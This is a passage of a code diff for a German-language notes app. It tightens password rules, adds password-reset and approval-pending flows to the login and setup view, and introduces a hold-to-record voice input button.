|
||||||
|
setNewPassword('');
|
||||||
|
setNewPasswordConfirm('');
|
||||||
|
setPassword('');
|
||||||
|
setNotice('Dein Passwort wurde geändert. Melde dich jetzt mit dem neuen Passwort an.');
|
||||||
|
setAuthTab('login');
|
||||||
|
onResetDone?.();
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Passwort konnte nicht geändert werden');
|
||||||
|
} finally {
|
||||||
|
setSubmitting(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleCompleteSetup = async (e: React.FormEvent) => {
|
const handleCompleteSetup = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
setError(null);
|
setError(null);
|
||||||
|
|
||||||
|
const setupProblem = passwordProblem(setupPassword);
|
||||||
|
if (setupProblem) {
|
||||||
|
setError(setupProblem);
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (setupPassword !== setupPasswordConfirm) {
|
if (setupPassword !== setupPasswordConfirm) {
|
||||||
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
||||||
triggerHaptic(25);
|
triggerHaptic(25);
|
||||||
@@ -93,11 +214,24 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
const handleRegisterOrInvite = async (e: React.FormEvent) => {
|
const handleRegisterOrInvite = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
setError(null);
|
setError(null);
|
||||||
|
const registerProblem = passwordProblem(password);
|
||||||
|
if (registerProblem) {
|
||||||
|
setError(registerProblem);
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
setSubmitting(true);
|
setSubmitting(true);
|
||||||
triggerHaptic(15);
|
triggerHaptic(15);
|
||||||
try {
|
try {
|
||||||
const code = authTab === 'invite' ? inviteCode.trim() : '';
|
const code = authTab === 'invite' ? inviteCode.trim() : '';
|
||||||
const res = await api.register(email.trim(), password, displayName.trim(), code);
|
const res = await api.register(email.trim(), password, displayName.trim(), code);
|
||||||
|
if (res.pending || !res.user) {
|
||||||
|
// Waiting for approval: back to the login form with the explanation
|
||||||
|
setNotice(res.message || 'Dein Konto wartet auf die Freigabe durch einen Administrator.');
|
||||||
|
setPassword('');
|
||||||
|
setAuthTab('login');
|
||||||
|
return;
|
||||||
|
}
|
||||||
onAuthenticated(res.user);
|
onAuthenticated(res.user);
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
setError(err.message || 'Registrierung fehlgeschlagen');
|
setError(err.message || 'Registrierung fehlgeschlagen');
|
||||||
@@ -185,8 +319,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
type="password"
|
type="password"
|
||||||
value={setupPassword}
|
value={setupPassword}
|
||||||
onChange={(e) => setSetupPassword(e.target.value)}
|
onChange={(e) => setSetupPassword(e.target.value)}
|
||||||
placeholder="Mindestens 4 Zeichen"
|
placeholder="Mindestens 8 Zeichen"
|
||||||
minLength={4}
|
|
||||||
required
|
required
|
||||||
className="w-full h-8 px-2.5 input-field"
|
className="w-full h-8 px-2.5 input-field"
|
||||||
/>
|
/>
|
||||||
@@ -198,7 +331,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
value={setupPasswordConfirm}
|
value={setupPasswordConfirm}
|
||||||
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
|
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
|
||||||
placeholder="Passwort erneut eingeben"
|
placeholder="Passwort erneut eingeben"
|
||||||
minLength={4}
|
|
||||||
required
|
required
|
||||||
className={`w-full h-8 px-2.5 input-field ${
|
className={`w-full h-8 px-2.5 input-field ${
|
||||||
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
|
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
|
||||||
@@ -241,31 +373,31 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-2">
|
<div className="grid grid-cols-1 sm:grid-cols-3 gap-2">
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSharingMode('strict_private')}
|
onClick={() => setSharingMode('private')}
|
||||||
className={`p-2.5 text-left border transition-colors ${
|
className={`p-2.5 text-left border transition-colors ${
|
||||||
sharingMode === 'strict_private'
|
sharingMode === 'private'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'border-border text-muted hover:text-main'
|
: 'border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<p className="font-bold text-xs">Strikt Privat</p>
|
<p className="font-bold text-xs">Privat</p>
|
||||||
<p className="text-[10px] text-muted mt-0.5">
|
<p className="text-[10px] text-muted mt-0.5">
|
||||||
Keiner sieht andere Nutzer. Komplett isoliert.
|
Keiner sieht andere Nutzer. Teilen und Gruppen sind aus.
|
||||||
</p>
|
</p>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSharingMode('teams_only')}
|
onClick={() => setSharingMode('organizations')}
|
||||||
className={`p-2.5 text-left border transition-colors ${
|
className={`p-2.5 text-left border transition-colors ${
|
||||||
sharingMode === 'teams_only'
|
sharingMode === 'organizations'
|
||||||
? 'bg-panel border-accent text-main'
|
? 'bg-panel border-accent text-main'
|
||||||
: 'border-border text-muted hover:text-main'
|
: 'border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<p className="font-bold text-xs">Teams isoliert</p>
|
<p className="font-bold text-xs">Organisationen</p>
|
||||||
<p className="text-[10px] text-muted mt-0.5">
|
<p className="text-[10px] text-muted mt-0.5">
|
||||||
Nutzer sehen nur Mitglieder ihrer eigenen Teams.
|
Nutzer sehen nur Mitglieder ihrer Organisation. Du startest in einer Organisation mit dem Namen der Instanz.
|
||||||
</p>
|
</p>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
@@ -287,7 +419,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="pt-2 border-t border-border space-y-2">
|
<div className="pt-2 border-t border-border space-y-2">
|
||||||
<label className="flex items-center justify-between cursor-pointer select-none">
|
<div className="flex items-center justify-between gap-3 select-none">
|
||||||
<div>
|
<div>
|
||||||
<span className="font-medium text-main block">
|
<span className="font-medium text-main block">
|
||||||
Öffentliche Selbstregistrierung erlauben
|
Öffentliche Selbstregistrierung erlauben
|
||||||
@@ -297,30 +429,21 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
Admin angelegt werden.
|
Admin angelegt werden.
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<input
|
<ToggleSwitch checked={allowRegistration} onChange={setAllowRegistration} />
|
||||||
type="checkbox"
|
</div>
|
||||||
checked={allowRegistration}
|
|
||||||
onChange={(e) => setAllowRegistration(e.target.checked)}
|
|
||||||
className="w-4 h-4 accent-blue-600"
|
|
||||||
/>
|
|
||||||
</label>
|
|
||||||
|
|
||||||
<label className="flex items-center justify-between cursor-pointer select-none pt-1">
|
<div className="flex items-center justify-between gap-3 select-none pt-1">
|
||||||
<div>
|
<div>
|
||||||
<span className="font-medium text-main block">
|
<span className="font-medium text-main block">
|
||||||
Start-Beispieldaten anlegen
|
Beispieldaten anlegen
|
||||||
</span>
|
</span>
|
||||||
<span className="text-[11px] text-muted">
|
<span className="text-[11px] text-muted">
|
||||||
Erstellt wenige Beispiel-Gedanken und ein Einführungsdokument zum Testen.
|
Füllt dein Konto mit Beispiel-Gedanken, Notizen, Aufgabenlisten und Einkaufslisten zum Ausprobieren.
|
||||||
|
Es werden keine weiteren Benutzer angelegt.
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<input
|
<ToggleSwitch checked={createSampleData} onChange={setCreateSampleData} />
|
||||||
type="checkbox"
|
</div>
|
||||||
checked={createSampleData}
|
|
||||||
onChange={(e) => setCreateSampleData(e.target.checked)}
|
|
||||||
className="w-4 h-4 accent-blue-600"
|
|
||||||
/>
|
|
||||||
</label>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -340,6 +463,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
|
<LegalLinks legal={authStatus.legal} className="mt-4" />
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -363,13 +487,14 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
<Lock className="w-4 h-4 text-faint" />
|
<Lock className="w-4 h-4 text-faint" />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Navigation Tabs */}
|
{/* Navigation Tabs (not while choosing a new password) */}
|
||||||
<div className="flex border-b border-border bg-canvas text-xs">
|
<div className={`${authTab === 'reset' || authTab === 'forgot' ? 'hidden' : 'flex'} border-b border-border bg-canvas text-xs`}>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
setAuthTab('login');
|
setAuthTab('login');
|
||||||
setError(null);
|
setError(null);
|
||||||
|
setNotice(null);
|
||||||
}}
|
}}
|
||||||
className={`flex-1 h-9 px-3 font-medium flex items-center justify-center gap-1.5 border-r border-border transition-colors ${
|
className={`flex-1 h-9 px-3 font-medium flex items-center justify-center gap-1.5 border-r border-border transition-colors ${
|
||||||
authTab === 'login'
|
authTab === 'login'
|
||||||
@@ -421,9 +546,119 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
{error && (
|
{error && (
|
||||||
<div className="mb-4 alert-err flex items-center gap-2">
|
<div className="mb-4 alert-err flex items-center gap-2">
|
||||||
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
||||||
<span>{error}</span>
|
<span className="flex-1">{error}</span>
|
||||||
|
{/bestätige zuerst deine E-Mail/i.test(error) && email.trim() && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => void resendVerification()}
|
||||||
|
disabled={resendState !== 'idle'}
|
||||||
|
className="btn-action h-8 px-2.5 text-[11px] shrink-0 disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{resendState === 'sending' ? 'Sende…' : 'Link erneut senden'}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{notice && !error && (
|
||||||
|
<div role="status" className="mb-4 p-2.5 rounded-card border border-status-ok/40 bg-status-ok/10 text-main flex items-start gap-2">
|
||||||
|
<Check className="w-4 h-4 text-status-ok flex-shrink-0 mt-px" />
|
||||||
|
<span>{notice}</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{authTab === 'forgot' && (
|
||||||
|
<form onSubmit={handleForgotPassword} className="space-y-3.5">
|
||||||
|
<div>
|
||||||
|
<h2 className="text-sm font-bold text-main">Passwort vergessen?</h2>
|
||||||
|
<p className="text-muted mt-1">
|
||||||
|
Gib die E-Mail-Adresse deines Kontos ein. Wir schicken dir einen Link, mit dem du ein neues Passwort festlegst.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted mb-1">E-Mail-Adresse</label>
|
||||||
|
<input
|
||||||
|
type="email"
|
||||||
|
value={email}
|
||||||
|
onChange={(e) => setEmail(e.target.value)}
|
||||||
|
placeholder="name@beispiel.de"
|
||||||
|
required
|
||||||
|
autoFocus
|
||||||
|
autoComplete="email"
|
||||||
|
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="flex flex-col-reverse sm:flex-row gap-2 pt-1">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setAuthTab('login');
|
||||||
|
setError(null);
|
||||||
|
}}
|
||||||
|
className="btn-action h-11 sm:h-9 px-4 text-xs"
|
||||||
|
>
|
||||||
|
Zurück zur Anmeldung
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={submitting}
|
||||||
|
className="flex-1 btn-primary h-11 sm:h-9 text-xs font-semibold disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{submitting ? 'Sende…' : 'Link anfordern'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{authTab === 'reset' && (
|
||||||
|
<form onSubmit={handleResetPassword} className="space-y-3.5">
|
||||||
|
<div>
|
||||||
|
<h2 className="text-sm font-bold text-main">Neues Passwort festlegen</h2>
|
||||||
|
<p className="text-muted mt-1">Danach bist du überall abgemeldet und meldest dich mit dem neuen Passwort an.</p>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted mb-1">Neues Passwort</label>
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
value={newPassword}
|
||||||
|
onChange={(e) => setNewPassword(e.target.value)}
|
||||||
|
placeholder="Mindestens 8 Zeichen"
|
||||||
|
required
|
||||||
|
autoFocus
|
||||||
|
autoComplete="new-password"
|
||||||
|
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted mb-1">Passwort wiederholen</label>
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
value={newPasswordConfirm}
|
||||||
|
onChange={(e) => setNewPasswordConfirm(e.target.value)}
|
||||||
|
required
|
||||||
|
autoComplete="new-password"
|
||||||
|
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={submitting}
|
||||||
|
className="w-full btn-primary h-11 sm:h-9 text-xs font-semibold disabled:opacity-50"
|
||||||
|
>
|
||||||
|
{submitting ? 'Speichere…' : 'Passwort speichern'}
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setError(null);
|
||||||
|
setAuthTab(authStatus.passwordReset ? 'forgot' : 'login');
|
||||||
|
onResetCancel?.();
|
||||||
|
}}
|
||||||
|
className="w-full btn-action h-11 sm:h-9 text-xs"
|
||||||
|
>
|
||||||
|
{authStatus.passwordReset ? 'Neuen Link anfordern' : 'Zur Anmeldung'}
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
)}
|
||||||
|
|
||||||
{authTab === 'login' && (
|
{authTab === 'login' && (
|
||||||
<form onSubmit={handleLogin} className="space-y-3.5">
|
<form onSubmit={handleLogin} className="space-y-3.5">
|
||||||
@@ -472,7 +707,22 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div>
|
<div>
|
||||||
<label className="block text-muted mb-1">Passwort</label>
|
<div className="flex items-baseline justify-between mb-1">
|
||||||
|
<label className="block text-muted">Passwort</label>
|
||||||
|
{authStatus.passwordReset && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => {
|
||||||
|
setAuthTab('forgot');
|
||||||
|
setError(null);
|
||||||
|
setNotice(null);
|
||||||
|
}}
|
||||||
|
className="text-accent hover:underline text-[11px] py-1"
|
||||||
|
>
|
||||||
|
Passwort vergessen?
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
<input
|
<input
|
||||||
type="password"
|
type="password"
|
||||||
value={password}
|
value={password}
|
||||||
@@ -512,6 +762,9 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
|
|
||||||
{(authTab === 'invite' || authTab === 'register') && (
|
{(authTab === 'invite' || authTab === 'register') && (
|
||||||
<form onSubmit={handleRegisterOrInvite} className="space-y-3.5">
|
<form onSubmit={handleRegisterOrInvite} className="space-y-3.5">
|
||||||
|
{authTab === 'register' && registrationHintFull && (
|
||||||
|
<p className="text-[11px] text-muted bg-canvas border border-border rounded-btn px-2.5 py-2">{registrationHintFull}</p>
|
||||||
|
)}
|
||||||
{authTab === 'invite' && (
|
{authTab === 'invite' && (
|
||||||
<div>
|
<div>
|
||||||
<label className="block text-muted mb-1">Einladungscode *</label>
|
<label className="block text-muted mb-1">Einladungscode *</label>
|
||||||
@@ -557,8 +810,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
type="password"
|
type="password"
|
||||||
value={password}
|
value={password}
|
||||||
onChange={(e) => setPassword(e.target.value)}
|
onChange={(e) => setPassword(e.target.value)}
|
||||||
placeholder="Mindestens 4 Zeichen"
|
placeholder="Mindestens 8 Zeichen"
|
||||||
minLength={4}
|
|
||||||
required
|
required
|
||||||
className="w-full h-8 px-2.5 input-field"
|
className="w-full h-8 px-2.5 input-field"
|
||||||
/>
|
/>
|
||||||
@@ -584,6 +836,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<LegalLinks legal={authStatus.legal} className="mt-4" />
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
@@ -0,0 +1,320 @@
|
|||||||
|
import React, { useEffect, useRef, useState } from 'react';
|
||||||
|
import { Mic, Plus } from 'lucide-react';
|
||||||
|
import { triggerHaptic } from '../../lib/api';
|
||||||
|
import { useVoiceInput } from '../../lib/useVoiceInput';
|
||||||
|
import { VoiceWave } from '../../components/VoiceWave';
|
||||||
|
|
||||||
|
export interface HoldToRecordFabProps {
|
||||||
|
onTap: () => void;
|
||||||
|
onTranscript: (text: string) => Promise<void> | void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const HOLD_DELAY_MS = 350;
|
||||||
|
const CANCEL_DRAG_PX = 60;
|
||||||
|
const STOP_TIMEOUT_MS = 1500;
|
||||||
|
const TOAST_DURATION_MS = 2500;
|
||||||
|
|
||||||
|
export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTranscript }) => {
|
||||||
|
const [isRecording, setIsRecording] = useState(false);
|
||||||
|
const [isCancelZone, setIsCancelZone] = useState(false);
|
||||||
|
const [liveTranscript, setLiveTranscript] = useState('');
|
||||||
|
const [toastMessage, setToastMessage] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const isPressedRef = useRef(false);
|
||||||
|
// A press that turned into a hold must not also count as a tap when the browser sends its click
|
||||||
|
const suppressClickRef = useRef(false);
|
||||||
|
const didEnterHoldRef = useRef(false);
|
||||||
|
const fallbackHandledRef = useRef(false);
|
||||||
|
const isCancelZoneRef = useRef(false);
|
||||||
|
const finalizedRef = useRef(false);
|
||||||
|
const startYRef = useRef(0);
|
||||||
|
const transcriptRef = useRef('');
|
||||||
|
|
||||||
|
const holdTimerRef = useRef<number | null>(null);
|
||||||
|
const stopTimerRef = useRef<number | null>(null);
|
||||||
|
const toastTimerRef = useRef<number | null>(null);
|
||||||
|
|
||||||
|
const clearHoldTimer = () => {
|
||||||
|
if (holdTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(holdTimerRef.current);
|
||||||
|
holdTimerRef.current = null;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const clearStopTimer = () => {
|
||||||
|
if (stopTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(stopTimerRef.current);
|
||||||
|
stopTimerRef.current = null;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const showToast = (msg: string, sticky = false) => {
|
||||||
|
if (toastTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(toastTimerRef.current);
|
||||||
|
toastTimerRef.current = null;
|
||||||
|
}
|
||||||
|
setToastMessage(msg);
|
||||||
|
if (sticky) return;
|
||||||
|
toastTimerRef.current = window.setTimeout(() => {
|
||||||
|
setToastMessage(null);
|
||||||
|
toastTimerRef.current = null;
|
||||||
|
}, TOAST_DURATION_MS);
|
||||||
|
};
|
||||||
|
|
||||||
|
const finalizeRecording = async (text: string) => {
|
||||||
|
if (finalizedRef.current) return;
|
||||||
|
finalizedRef.current = true;
|
||||||
|
clearStopTimer();
|
||||||
|
setLiveTranscript('');
|
||||||
|
const trimmed = text.trim();
|
||||||
|
if (!trimmed) {
|
||||||
|
showToast('Nichts erkannt');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
await onTranscript(trimmed);
|
||||||
|
triggerHaptic(25);
|
||||||
|
showToast('Im Quick Dump gespeichert');
|
||||||
|
} catch {
|
||||||
|
showToast('Fehler beim Speichern');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Own Whisper server (text after release) or the browser's recognition (text while speaking)
|
||||||
|
const voice = useVoiceInput({
|
||||||
|
continuous: true,
|
||||||
|
onText: (text, final) => {
|
||||||
|
transcriptRef.current = text;
|
||||||
|
if (!final) {
|
||||||
|
setLiveTranscript(text);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
void finalizeRecording(text);
|
||||||
|
},
|
||||||
|
onError: (message) => {
|
||||||
|
clearStopTimer();
|
||||||
|
setIsRecording(false);
|
||||||
|
setIsCancelZone(false);
|
||||||
|
setLiveTranscript('');
|
||||||
|
if (didEnterHoldRef.current && isPressedRef.current && !fallbackHandledRef.current) {
|
||||||
|
// Recording could not start: open the normal capture sheet instead
|
||||||
|
fallbackHandledRef.current = true;
|
||||||
|
showToast(message);
|
||||||
|
onTap();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
finalizedRef.current = true;
|
||||||
|
showToast(message);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
return () => {
|
||||||
|
clearHoldTimer();
|
||||||
|
clearStopTimer();
|
||||||
|
if (toastTimerRef.current !== null) {
|
||||||
|
window.clearTimeout(toastTimerRef.current);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (voice.state === 'transcribing') showToast('Wird erkannt…', true);
|
||||||
|
}, [voice.state]);
|
||||||
|
|
||||||
|
const startVoiceRecording = () => {
|
||||||
|
if (voice.mode === 'off' || voice.mode === 'unsupported') {
|
||||||
|
fallbackHandledRef.current = true;
|
||||||
|
if (voice.mode === 'unsupported') showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||||
|
onTap();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
transcriptRef.current = '';
|
||||||
|
finalizedRef.current = false;
|
||||||
|
isCancelZoneRef.current = false;
|
||||||
|
setLiveTranscript('');
|
||||||
|
setIsCancelZone(false);
|
||||||
|
setIsRecording(true);
|
||||||
|
triggerHaptic([15, 60, 25]);
|
||||||
|
void voice.start();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
if (e.pointerType === 'mouse' && e.button !== 0) return;
|
||||||
|
|
||||||
|
try {
|
||||||
|
e.currentTarget.setPointerCapture?.(e.pointerId);
|
||||||
|
} catch {
|
||||||
|
// ignore if unsupported in environment
|
||||||
|
}
|
||||||
|
|
||||||
|
clearHoldTimer();
|
||||||
|
clearStopTimer();
|
||||||
|
|
||||||
|
isPressedRef.current = true;
|
||||||
|
suppressClickRef.current = false;
|
||||||
|
didEnterHoldRef.current = false;
|
||||||
|
fallbackHandledRef.current = false;
|
||||||
|
isCancelZoneRef.current = false;
|
||||||
|
startYRef.current = e.clientY;
|
||||||
|
|
||||||
|
holdTimerRef.current = window.setTimeout(() => {
|
||||||
|
holdTimerRef.current = null;
|
||||||
|
if (!isPressedRef.current) return;
|
||||||
|
didEnterHoldRef.current = true;
|
||||||
|
suppressClickRef.current = true;
|
||||||
|
startVoiceRecording();
|
||||||
|
}, HOLD_DELAY_MS);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerMove = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
if (!isPressedRef.current || !didEnterHoldRef.current || fallbackHandledRef.current) return;
|
||||||
|
const deltaUp = startYRef.current - e.clientY;
|
||||||
|
const inCancel = deltaUp > CANCEL_DRAG_PX;
|
||||||
|
if (inCancel !== isCancelZoneRef.current) {
|
||||||
|
isCancelZoneRef.current = inCancel;
|
||||||
|
setIsCancelZone(inCancel);
|
||||||
|
triggerHaptic(10);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerUp = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
try {
|
||||||
|
e.currentTarget.releasePointerCapture?.(e.pointerId);
|
||||||
|
} catch {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isPressedRef.current) return;
|
||||||
|
isPressedRef.current = false;
|
||||||
|
clearHoldTimer();
|
||||||
|
|
||||||
|
if (!didEnterHoldRef.current) {
|
||||||
|
// A short tap opens on the click that follows. Opening here already would let that click land
|
||||||
|
// on the freshly opened sheet's backdrop and close it again at once.
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fallbackHandledRef.current) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setIsRecording(false);
|
||||||
|
setIsCancelZone(false);
|
||||||
|
|
||||||
|
if (isCancelZoneRef.current) {
|
||||||
|
finalizedRef.current = true;
|
||||||
|
clearStopTimer();
|
||||||
|
setLiveTranscript('');
|
||||||
|
triggerHaptic(15);
|
||||||
|
voice.cancel();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The browser's recognition sometimes never reports its end: save what was heard after a moment.
|
||||||
|
// The own server answers when it is done (with its own time limit).
|
||||||
|
if (voice.mode !== 'server') {
|
||||||
|
stopTimerRef.current = window.setTimeout(() => {
|
||||||
|
voice.cancel();
|
||||||
|
void finalizeRecording(transcriptRef.current);
|
||||||
|
}, STOP_TIMEOUT_MS);
|
||||||
|
}
|
||||||
|
void voice.stop();
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||||
|
try {
|
||||||
|
e.currentTarget.releasePointerCapture?.(e.pointerId);
|
||||||
|
} catch {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isPressedRef.current) return;
|
||||||
|
isPressedRef.current = false;
|
||||||
|
clearHoldTimer();
|
||||||
|
clearStopTimer();
|
||||||
|
|
||||||
|
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
|
||||||
|
finalizedRef.current = true;
|
||||||
|
setIsRecording(false);
|
||||||
|
setIsCancelZone(false);
|
||||||
|
setLiveTranscript('');
|
||||||
|
voice.cancel();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const displayedTranscript =
|
||||||
|
liveTranscript.length > 180 ? `…${liveTranscript.slice(-180)}` : liveTranscript;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
{isRecording && (
|
||||||
|
<div
|
||||||
|
className={
|
||||||
|
isCancelZone
|
||||||
|
? 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-status-err text-status-err shadow-panel pointer-events-none text-center'
|
||||||
|
: 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-border text-main shadow-panel pointer-events-none text-center'
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{isCancelZone ? (
|
||||||
|
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
|
||||||
|
) : (
|
||||||
|
<div className="space-y-1">
|
||||||
|
<div className="text-xs font-semibold text-main flex items-center justify-center gap-2">
|
||||||
|
{voice.mode === 'server' && <VoiceWave getLevel={voice.level} bars={7} className="h-4 text-accent" />}
|
||||||
|
Ich höre zu… (loslassen speichert)
|
||||||
|
</div>
|
||||||
|
{displayedTranscript ? (
|
||||||
|
<div className="text-xs text-muted break-words max-w-[calc(100vw-3rem)]">
|
||||||
|
{displayedTranscript}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="text-[11px] text-faint">Nach oben ziehen zum Abbrechen</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!isRecording && toastMessage && (
|
||||||
|
<div
|
||||||
|
role="status"
|
||||||
|
aria-live="polite"
|
||||||
|
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2 rounded-pill bg-panel-elevated border border-border text-main text-xs font-medium shadow-panel pointer-events-none text-center"
|
||||||
|
>
|
||||||
|
{toastMessage}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onPointerDown={handlePointerDown}
|
||||||
|
